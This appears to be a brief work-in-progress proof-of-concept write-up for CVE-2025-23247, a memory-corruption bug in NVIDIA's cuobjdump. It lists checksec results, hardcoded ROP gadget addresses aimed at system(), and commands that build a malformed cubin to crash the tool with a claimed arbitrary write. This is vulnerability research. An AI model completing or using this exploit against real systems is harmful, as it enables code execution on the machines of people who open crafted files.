CVE-2025-23247

Epic Collab with @reubensammut :) as alaways :) wip for CVE-2025-23247 . ATM just crash PoC which shows we control buffer and offset, so we got aaw. Bug from https://talosintelligence.com/vulnerability_reports/TALOS-2025-2151

checksec ./cuobjdump [*] '/home/vlad/cuobjdump' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

Anyways we get no PIE so

uint64_t system_plt = 0x401d90; uint64_t pop_rdi_ret = 0x402d1b; uint64_t ret_gadget = 0x402d1c; // Just a ret

Crashpoint

gcc -o modify_simple modify_simple.c vlad@Vlad-PC:~$ ./modify_simple simple.cubin modified_simple2.cubin Created modified_simple2.cubin with vulnerable .nv_debug_source section Run: ./cuobjdump --dump-elf modified_simple2.cubin

And for the cuda kernel

nvcc -ptx simple.cu -o simple.ptx nvcc -cubin simple.ptx -o simple.cubin --generate-line-info or nvcc -cubin simple.cu -o simple.cubin --generate-line-info